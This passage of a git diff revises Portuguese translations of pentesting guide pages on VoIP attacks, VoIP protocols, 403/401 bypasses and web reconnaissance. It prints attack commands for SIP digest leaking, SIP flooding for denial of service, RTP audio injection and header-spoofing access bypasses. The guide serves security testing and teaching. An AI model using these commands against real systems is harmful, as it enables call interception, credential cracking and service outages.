**`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que contorne qualquer correspondência** que está sendo realizada, mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**. +Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que ignora qualquer correspondência** que está sendo realizada, mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**. ## Vulnerabilidade SIPDigestLeak @@ -451,7 +451,7 @@ A vulnerabilidade SIP Digest Leak afeta um grande número de telefones SIP, incl 6. O **telefone da vítima fornece uma resposta ao desafio de autenticação** em um segundo BYE 7. O **atacante pode então realizar um ataque de força bruta** na resposta ao desafio em sua máquina local (ou rede distribuída etc) e adivinhar a senha -- **SIPPTS leak** de [**sippts**](https://github.com/Pepelux/sippts)**:** O vazamento SIPPTS explora a vulnerabilidade SIP Digest Leak que afeta um grande número de telefones SIP. A saída pode ser salva no formato SipCrack para ser forçada usando SIPPTS dcrack ou a ferramenta SipCrack. +- **Vazamento SIPPTS** de [**sippts**](https://github.com/Pepelux/sippts)**:** O vazamento SIPPTS explora a vulnerabilidade SIP Digest Leak que afeta um grande número de telefones SIP. A saída pode ser salva no formato SipCrack para ser forçada usando SIPPTS dcrack ou a ferramenta SipCrack. ```bash sippts leak -i 10.10.0.10 @@ -520,7 +520,7 @@ exten => h,1,System(/tmp/leak_conv.sh &) **RTCPBleed** é um problema de segurança significativo que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o **tráfego RTP (Real Time Protocol)**, que transporta conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao navegar através de firewalls NAT (Network Address Translation). -Proxies RTP tentam abordar as **limitações do NAT** que afetam sistemas RTC, fazendo proxy de fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP recuperadas através da sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo onde tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não faz uso de qualquer tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP proxy que deveria ser destinado ao chamador ou atendente de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que atacantes recebam fluxos de mídia RTP destinados a serem enviados a usuários legítimos. +Proxies RTP tentam abordar as **limitações do NAT** que afetam sistemas RTC, fazendo proxy de fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP recuperadas através da sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo onde tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não faz uso de qualquer tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP proxy que deveria ser destinado ao chamador ou chamado de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que atacantes recebam fluxos de mídia RTP destinados a serem enviados a usuários legítimos. Outro comportamento interessante dos proxies RTP e das pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles **aceitarão, encaminharão e/ou processarão pacotes RTP de qualquer fonte**. Portanto, atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em endpoints. @@ -571,7 +571,7 @@ Há um comando chamado **`Shell`** que pode ser usado **em vez de `System`** par ### Injeção RTP -É possível inserir um **`.wav`** nas conversas usando ferramentas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`). +É possível inserir um **`.wav`** em conversas usando ferramentas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`). Ou você pode usar os scripts de [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) para **escanear conversas** (**`rtpscan.pl`**), enviar um `.wav` para uma conversa (**`rtpsend.pl`**) e **inserir ruído** em uma conversa (**`rtpflood.pl`**). @@ -579,13 +579,13 @@ Ou você pode usar os scripts de [http://blog.pepelux.org/2011/09/13/inyectando- Existem várias maneiras de tentar alcançar DoS em servidores VoIP. -- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood envia mensagens ilimitadas para o alvo. +- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: O SIPPTS flood envia mensagens ilimitadas para o alvo. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping faz um ping SIP para ver o tempo de resposta do servidor. +- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: O SIPPTS ping faz um ping SIP para ver o tempo de resposta do servidor. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protocolo IAX usado pelo Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar flooding de mensagens SIP/SDP INVITE sobre UDP/IP. -- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário saber as portas RTP que estão sendo usadas (sniff primeiro). +- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário conhecer as portas RTP que estão sendo usadas (sniff primeiro). - [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, então também pode ser usado para DoS. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Canivete suíço SIP. Também pode ser usado para realizar ataques SIP. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index 02cb526cf..3d3992e66 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -14,13 +14,13 @@ sip-session-initiation-protocol.md ### MGCP (Protocolo de Controle de Gateway de Mídia) -MGCP (Protocolo de Controle de Gateway de Mídia) é um **protocolo de sinalização** e **controle de chamadas** descrito no RFC 3435. Ele opera em uma arquitetura centralizada, que consiste em três componentes principais: +MGCP (Protocolo de Controle de Gateway de Mídia) é um **protocolo de sinalização** e **controle de chamadas** descrito na RFC 3435. Ele opera em uma arquitetura centralizada, que consiste em três componentes principais: 1. **Agente de Chamadas ou Controlador de Gateway de Mídia (MGC)**: O gateway mestre na arquitetura MGCP é responsável por **gerenciar e controlar os gateways de mídia**. Ele lida com os processos de configuração, modificação e término de chamadas. O MGC se comunica com os gateways de mídia usando o protocolo MGCP. -2. **Gateways de Mídia (MGs) ou Gateways Escravos**: Esses dispositivos **convertem fluxos de mídia digital entre diferentes redes**, como telefonia tradicional comutada por circuitos e redes IP comutadas por pacotes. Eles são gerenciados pelo MGC e executam comandos recebidos dele. Os gateways de mídia podem incluir funções como transcodificação, empacotamento e cancelamento de eco. +2. **Gateways de Mídia (MGs) ou Gateways Escravos**: Esses dispositivos **convertem fluxos de mídia digital entre diferentes redes**, como telefonia tradicional comutada por circuito e redes IP comutadas por pacotes. Eles são gerenciados pelo MGC e executam comandos recebidos dele. Os gateways de mídia podem incluir funções como transcodificação, empacotamento e cancelamento de eco. 3. **Gateways de Sinalização (SGs)**: Esses gateways são responsáveis por **converter mensagens de sinalização entre diferentes redes**, permitindo comunicação contínua entre sistemas de telefonia tradicionais (por exemplo, SS7) e redes baseadas em IP (por exemplo, SIP ou H.323). Gateways de sinalização são cruciais para a interoperabilidade e garantem que as informações de controle de chamadas sejam comunicadas corretamente entre as diferentes redes. -Em resumo, o MGCP centraliza a lógica de controle de chamadas no agente de chamadas, o que simplifica a gestão de gateways de mídia e sinalização, proporcionando melhor escalabilidade, confiabilidade e eficiência nas redes de telecomunicações. +Em resumo, o MGCP centraliza a lógica de controle de chamadas no agente de chamadas, o que simplifica a gestão de gateways de mídia e sinalização, proporcionando melhor escalabilidade, confiabilidade e eficiência em redes de telecomunicações. ### SCCP (Protocolo de Controle de Cliente Magro) @@ -30,9 +30,9 @@ O SCCP é um protocolo leve que simplifica a comunicação entre o servidor de c Os principais componentes de um sistema baseado em SCCP são: -1. **Servidor de Controle de Chamadas**: Este servidor, tipicamente um Cisco Unified Communications Manager, gerencia os processos de configuração, modificação e término de chamadas, bem como outros recursos de telefonia, como encaminhamento de chamadas, transferência de chamadas e espera de chamadas. +1. **Servidor de Controle de Chamadas**: Este servidor, tipicamente um Cisco Unified Communications Manager, gerencia os processos de configuração, modificação e término de chamadas, bem como outros recursos de telefonia, como desvio de chamadas, transferência de chamadas e espera de chamadas. 2. **Terminais SCCP**: Esses são dispositivos como telefones IP, unidades de videoconferência ou outros terminais de voz e vídeo Cisco que usam SCCP para se comunicar com o servidor de controle de chamadas. Eles se registram no servidor, enviam e recebem mensagens de sinalização e seguem as instruções fornecidas pelo servidor de controle de chamadas para o manuseio de chamadas. -3. **Gateways**: Esses dispositivos, como gateways de voz ou gateways de mídia, são responsáveis por converter fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuitos e redes IP comutadas por pacotes. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco. +3. **Gateways**: Esses dispositivos, como gateways de voz ou gateways de mídia, são responsáveis por converter fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuito e redes IP comutadas por pacotes. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco. O SCCP oferece um método de comunicação simples e eficiente entre servidores de controle de chamadas Cisco e dispositivos finais. No entanto, vale a pena notar que **o SCCP é um protocolo proprietário**, o que pode limitar a interoperabilidade com sistemas não Cisco. Nesses casos, outros protocolos VoIP padrão como SIP podem ser mais adequados. @@ -43,11 +43,11 @@ H.323 é um **conjunto de protocolos** para comunicação multimídia, incluindo Alguns componentes-chave do conjunto H.323 incluem: 1. **Terminais**: Esses são dispositivos finais, como telefones IP, sistemas de videoconferência ou aplicativos de software, que suportam H.323 e podem participar de sessões de comunicação multimídia. -2. **Gateways**: Esses dispositivos convertem fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuitos e redes IP comutadas por pacotes, permitindo a interoperabilidade entre H.323 e outros sistemas de comunicação. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco. +2. **Gateways**: Esses dispositivos convertem fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuito e redes IP comutadas por pacotes, permitindo a interoperabilidade entre H.323 e outros sistemas de comunicação. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco. 3. **Gatekeepers**: Esses são componentes opcionais que fornecem serviços de controle e gerenciamento de chamadas em uma rede H.323. Eles realizam funções como tradução de endereços, gerenciamento de largura de banda e controle de admissão, ajudando a gerenciar e otimizar os recursos da rede. 4. **Unidades de Controle Multiponto (MCUs)**: Esses dispositivos facilitam conferências multiponto gerenciando e misturando fluxos de mídia de múltiplos terminais. As MCUs permitem recursos como controle de layout de vídeo, comutação ativada por voz e presença contínua, tornando possível hospedar conferências em grande escala com múltiplos participantes. -H.323 suporta uma variedade de codecs de áudio e vídeo, bem como outros serviços suplementares como encaminhamento de chamadas, transferência de chamadas, espera de chamadas e chamada em espera. Apesar de sua ampla adoção nos primeiros dias do VoIP, o H.323 foi gradualmente substituído por protocolos mais modernos e flexíveis como o **Protocolo de Iniciação de Sessão (SIP)**, que oferece melhor interoperabilidade e implementação mais fácil. No entanto, o H.323 continua em uso em muitos sistemas legados e continua a ser suportado por vários fornecedores de equipamentos. +H.323 suporta uma variedade de codecs de áudio e vídeo, bem como outros serviços suplementares como desvio de chamadas, transferência de chamadas, espera de chamadas e chamada em espera. Apesar de sua ampla adoção nos primeiros dias do VoIP, o H.323 foi gradualmente substituído por protocolos mais modernos e flexíveis como o **Protocolo de Iniciação de Sessão (SIP)**, que oferece melhor interoperabilidade e implementação mais fácil. No entanto, o H.323 continua em uso em muitos sistemas legados e continua a ser suportado por vários fornecedores de equipamentos. ### IAX (Inter Asterisk eXchange) @@ -55,11 +55,11 @@ IAX (Inter-Asterisk eXchange) é um **protocolo de sinalização e controle de c IAX é conhecido por sua **simplicidade, eficiência e facilidade de implementação**. Alguns recursos principais do IAX incluem: -1. **Porta UDP Única**: IAX usa uma única porta UDP (4569) para sinalização e tráfego de mídia, o que simplifica a travessia de firewall e NAT, facilitando a implantação em vários ambientes de rede. -2. **Protocolo Binário**: Ao contrário de protocolos baseados em texto como SIP, IAX é um protocolo binário, o que reduz seu consumo de largura de banda e o torna mais eficiente para transmitir dados de sinalização e mídia. -3. **Tronco**: IAX suporta tronco, que permite que várias chamadas sejam combinadas em uma única conexão de rede, reduzindo a sobrecarga e melhorando a utilização da largura de banda. -4. **Criptografia Nativa**: IAX tem suporte embutido para criptografia, usando métodos como RSA para troca de chaves e AES para criptografia de mídia, proporcionando comunicação segura entre os terminais. -5. **Comunicação Ponto a Ponto**: IAX pode ser usado para comunicação direta entre terminais sem a necessidade de um servidor central, permitindo um roteamento de chamadas mais simples e eficiente. +1. **Porta UDP Única**: O IAX usa uma única porta UDP (4569) para sinalização e tráfego de mídia, o que simplifica a travessia de firewall e NAT, facilitando a implantação em vários ambientes de rede. +2. **Protocolo Binário**: Ao contrário de protocolos baseados em texto como SIP, o IAX é um protocolo binário, o que reduz seu consumo de largura de banda e o torna mais eficiente para transmitir dados de sinalização e mídia. +3. **Tronco**: O IAX suporta tronco, que permite que várias chamadas sejam combinadas em uma única conexão de rede, reduzindo a sobrecarga e melhorando a utilização da largura de banda. +4. **Criptografia Nativa**: O IAX tem suporte embutido para criptografia, usando métodos como RSA para troca de chaves e AES para criptografia de mídia, proporcionando comunicação segura entre os terminais. +5. **Comunicação Ponto a Ponto**: O IAX pode ser usado para comunicação direta entre terminais sem a necessidade de um servidor central, permitindo um roteamento de chamadas mais simples e eficiente. Apesar de seus benefícios, o IAX tem algumas limitações, como seu foco principal no ecossistema Asterisk e menor adoção em comparação com protocolos mais estabelecidos como SIP. Como resultado, o IAX pode não ser a melhor escolha para interoperabilidade com sistemas ou dispositivos não Asterisk. No entanto, para aqueles que trabalham dentro do ambiente Asterisk, o IAX oferece uma solução robusta e eficiente para comunicação VoIP. @@ -67,7 +67,7 @@ Apesar de seus benefícios, o IAX tem algumas limitações, como seu foco princi ### SDP (Protocolo de Descrição de Sessão) -SDP (Protocolo de Descrição de Sessão) é um **formato baseado em texto** usado para descrever as características de sessões multimídia, como voz, vídeo ou conferência de dados, sobre redes IP. Foi desenvolvido pela **Força-Tarefa de Engenharia da Internet (IETF)** e é definido no **RFC 4566**. O SDP não lida com a transmissão real de mídia ou estabelecimento de sessão, mas é usado em conjunto com outros protocolos de sinalização, como **SIP (Protocolo de Iniciação de Sessão)**, para negociar e trocar informações sobre os fluxos de mídia e seus atributos. +SDP (Protocolo de Descrição de Sessão) é um **formato baseado em texto** usado para descrever as características de sessões multimídia, como voz, vídeo ou conferência de dados, sobre redes IP. Foi desenvolvido pela **Força-Tarefa de Engenharia da Internet (IETF)** e é definido na **RFC 4566**. O SDP não lida com a transmissão real de mídia ou estabelecimento de sessão, mas é usado em conjunto com outros protocolos de sinalização, como **SIP (Protocolo de Iniciação de Sessão)**, para negociar e trocar informações sobre os fluxos de mídia e seus atributos. Alguns elementos-chave do SDP incluem: @@ -87,10 +87,10 @@ A simplicidade e flexibilidade do SDP fazem dele um padrão amplamente adotado p ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Protocolo de Transporte em Tempo Real)**: RTP é um protocolo de rede projetado para a entrega de dados de áudio e vídeo, ou outros meios em tempo real, sobre redes IP. Desenvolvido pela **IETF** e definido no **RFC 3550**, o RTP é comumente usado com protocolos de sinalização como SIP e H.323 para habilitar comunicação multimídia. O RTP fornece mecanismos para **sincronização**, **sequenciamento** e **marcação de tempo** dos fluxos de mídia, ajudando a garantir uma reprodução de mídia suave e pontual. -2. **RTCP (Protocolo de Controle de Transporte em Tempo Real)**: RTCP é um protocolo acompanhante do RTP, usado para monitorar a qualidade do serviço (QoS) e fornecer feedback sobre a transmissão de fluxos de mídia. Definido no mesmo **RFC 3550** que o RTP, o RTCP **troca periodicamente pacotes de controle entre os participantes em uma sessão RTP**. Ele compartilha informações como perda de pacotes, jitter e tempo de ida e volta, o que ajuda a diagnosticar e se adaptar às condições da rede, melhorando a qualidade geral da mídia. -3. **SRTP (Protocolo de Transporte em Tempo Real Seguro)**: SRTP é uma extensão do RTP que fornece **criptografia**, **autenticação de mensagens** e **proteção contra repetição** para fluxos de mídia, garantindo a transmissão segura de dados de áudio e vídeo sensíveis. Definido no **RFC 3711**, o SRTP usa algoritmos criptográficos como AES para criptografia e HMAC-SHA1 para autenticação de mensagens. O SRTP é frequentemente usado em combinação com protocolos de sinalização seguros como SIP sobre TLS para fornecer segurança de ponta a ponta na comunicação multimídia. -4. **ZRTP (Protocolo de Transporte em Tempo Real Zimmermann)**: ZRTP é um protocolo de acordo de chave criptográfica que fornece **criptografia de ponta a ponta** para fluxos de mídia RTP. Desenvolvido por Phil Zimmermann, o criador do PGP, o ZRTP é descrito no **RFC 6189**. Ao contrário do SRTP, que depende de protocolos de sinalização para troca de chaves, o ZRTP é projetado para funcionar independentemente do protocolo de sinalização. Ele usa **troca de chaves Diffie-Hellman** para estabelecer um segredo compartilhado entre as partes comunicantes, sem exigir confiança prévia ou uma infraestrutura de chave pública (PKI). O ZRTP também inclui recursos como **Strings de Autenticação Curtas (SAS)** para proteger contra ataques de homem no meio. +1. **RTP (Protocolo de Transporte em Tempo Real)**: RTP é um protocolo de rede projetado para a entrega de dados de áudio e vídeo, ou outros meios em tempo real, sobre redes IP. Desenvolvido pela **IETF** e definido na **RFC 3550**, o RTP é comumente usado com protocolos de sinalização como SIP e H.323 para habilitar comunicação multimídia. O RTP fornece mecanismos para **sincronização**, **sequenciamento** e **marcação de tempo** dos fluxos de mídia, ajudando a garantir uma reprodução de mídia suave e pontual. +2. **RTCP (Protocolo de Controle de Transporte em Tempo Real)**: O RTCP é um protocolo acompanhante do RTP, usado para monitorar a qualidade do serviço (QoS) e fornecer feedback sobre a transmissão de fluxos de mídia. Definido na mesma **RFC 3550** que o RTP, o RTCP **troca periodicamente pacotes de controle entre os participantes em uma sessão RTP**. Ele compartilha informações como perda de pacotes, jitter e tempo de ida e volta, o que ajuda a diagnosticar e se adaptar às condições da rede, melhorando a qualidade geral da mídia. +3. **SRTP (Protocolo de Transporte em Tempo Real Seguro)**: O SRTP é uma extensão do RTP que fornece **criptografia**, **autenticação de mensagens** e **proteção contra repetição** para fluxos de mídia, garantindo a transmissão segura de dados de áudio e vídeo sensíveis. Definido na **RFC 3711**, o SRTP usa algoritmos criptográficos como AES para criptografia e HMAC-SHA1 para autenticação de mensagens. O SRTP é frequentemente usado em combinação com protocolos de sinalização seguros como SIP sobre TLS para fornecer segurança de ponta a ponta na comunicação multimídia. +4. **ZRTP (Protocolo de Transporte em Tempo Real Zimmermann)**: O ZRTP é um protocolo de acordo de chave criptográfica que fornece **criptografia de ponta a ponta** para fluxos de mídia RTP. Desenvolvido por Phil Zimmermann, o criador do PGP, o ZRTP é descrito na **RFC 6189**. Ao contrário do SRTP, que depende de protocolos de sinalização para troca de chaves, o ZRTP é projetado para funcionar independentemente do protocolo de sinalização. Ele usa **troca de chaves Diffie-Hellman** para estabelecer um segredo compartilhado entre as partes comunicantes, sem exigir confiança prévia ou uma infraestrutura de chave pública (PKI). O ZRTP também inclui recursos como **Strings de Autenticação Curtas (SAS)** para proteger contra ataques de homem no meio. Esses protocolos desempenham papéis essenciais na **entrega e segurança da comunicação multimídia em tempo real sobre redes IP**. Enquanto RTP e RTCP lidam com a transmissão real de mídia e monitoramento de qualidade, SRTP e ZRTP garantem que a mídia transmitida esteja protegida contra escuta, adulteração e ataques de repetição. diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md index 3a44fdc69..7c4091a48 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md @@ -47,7 +47,7 @@ Além desses métodos principais, existem **vários métodos de extensão SIP** - 100 Trying: A solicitação foi recebida e o servidor está trabalhando nela. - 180 Ringing: O chamado está sendo alertado e atenderá a chamada. - 183 Session Progress: Fornece informações sobre o progresso da chamada. -- **2xx (Respostas Bem-sucedidas)**: Essas respostas indicam que a solicitação foi recebida, compreendida e aceita com sucesso. +- **2xx (Respostas de Sucesso)**: Essas respostas indicam que a solicitação foi recebida, compreendida e aceita com sucesso. - 200 OK: A solicitação foi bem-sucedida e o servidor a atendeu. - 202 Accepted: A solicitação foi aceita para processamento, mas ainda não foi concluída. - **3xx (Respostas de Redirecionamento)**: Essas respostas indicam que mais ações são necessárias para atender à solicitação, tipicamente contatando um recurso alternativo. @@ -143,7 +143,7 @@ Contact: ;expires=3600 Expires: 3600 Content-Length: 0 ``` -Esta mensagem inicial de REGISTER é enviada pelo UA (Alice) para o servidor registrador. Ela inclui informações importantes, como a duração desejada da registro (Expires), o URI SIP do usuário (sip:[alice@example.com](mailto:alice@example.com)) e o endereço de contato do usuário (sip:alice@192.168.1.100:5060). +Esta mensagem inicial de REGISTER é enviada pelo UA (Alice) para o servidor registrador. Ela inclui informações importantes, como a duração de registro desejada (Expires), o URI SIP do usuário (sip:[alice@example.com](mailto:alice@example.com)) e o endereço de contato do usuário (sip:alice@192.168.1.100:5060). 2. **401 Unauthorized** resposta do servidor registrador: ```css @@ -156,7 +156,7 @@ CSeq: 1 REGISTER WWW-Authenticate: Digest realm="example.com", nonce="abcdefghijk", algorithm=MD5, qop="auth" Content-Length: 0 ``` -O servidor registrador responde com uma mensagem "401 Unauthorized", que inclui um cabeçalho "WWW-Authenticate". Este cabeçalho contém informações necessárias para o UA se autenticar, como o **realm de autenticação, nonce e algoritmo**. +O servidor registrador responde com uma mensagem "401 Unauthorized", que inclui um cabeçalho "WWW-Authenticate". Este cabeçalho contém informações necessárias para que o UA se autentique, como o **domínio de autenticação, nonce e algoritmo**. 3. Solicitação REGISTER **com credenciais de autenticação**: ```vbnet diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 051c65312..7bc769186 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -14,7 +14,7 @@ Tente usar **verbos diferentes** para acessar o arquivo: `GET, HEAD, POST, PUT, - **Mude o cabeçalho Host** para algum valor arbitrário ([que funcionou aqui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - Tente [**usar outros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acessar o recurso. -- **Fuzz HTTP Headers**: Tente usar **Headers** de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, eu criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +- **Fuzz HTTP Headers**: Tente usar **Headers** de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com algumas combinações apenas) e outras técnicas. Para fazer tudo isso, eu criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -73,7 +73,7 @@ Se _/path_ estiver bloqueado: ## **Manipulação de Parâmetro** -- Mude **o valor do parâmetro**: De **`id=123` --> `id=124`** +- Mude **o valor do param**: De **`id=123` --> `id=124`** - Adicione parâmetros adicionais à URL: `?`**`id=124` —-> `id=124&isAdmin=true`** - Remova os parâmetros - Reordene os parâmetros diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 124187413..1724a8db1 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -99,13 +99,13 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi - [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/) _Considere que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\ -Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!). +Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida listada antes** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!). ### Revisão de Código Fonte Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **sua conta um teste de caixa branca** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **teste de caixa preta**: -- Existe um arquivo **Change-log ou Readme ou Version** ou algo com **informações de versão acessíveis** via web? +- Há um arquivo **Change-log ou Readme ou Version** ou algo com **informações de versão acessíveis** via web? - Como e onde são salvas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)? - As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado? - Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado? @@ -160,13 +160,13 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Verifique também os comentários nas páginas principais e secundárias. +- Verifique também os comentários nas páginas principal e secundárias. **Forçando erros** Servidores web podem **comportar-se de maneira inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**. -- Acesse **páginas falsas** como /whatever_fake.php (.aspx, .html, etc) +- Acesse **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc) - **Adicione "\[]", "]]" e "\[\["** nos **valores de cookie** e **valores de parâmetro** para criar erros - Gere erro fornecendo entrada como **`/~randomthing/%s`** no **final** da **URL** - Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou errados como FAKE @@ -199,7 +199,7 @@ Informações sobre vulnerabilidades SSL/TLS: ### Spidering -Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontrar o maior número possível de caminhos** a partir da aplicação testada. Portanto, a exploração da web e fontes externas devem ser usadas para encontrar o maior número possível de caminhos válidos. +Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontrar o maior número possível de caminhos** a partir da aplicação testada. Portanto, a navegação na web e fontes externas devem ser usadas para encontrar o maior número possível de caminhos válidos. - [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, com LinkFinder para arquivos JS e Archive.org como fonte externa. @@ -211,7 +211,7 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e os listará. - [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também pode valer a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código-fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece não estar sendo mantido. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares engenhosas para encontrar e extrair as URLs relativas de arquivos feios (minificados). - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coletar informações interessantes de arquivos JS usando várias ferramentas. @@ -224,7 +224,7 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobrir links da máquina wayback (também baixando as respostas na wayback e procurando mais links). - 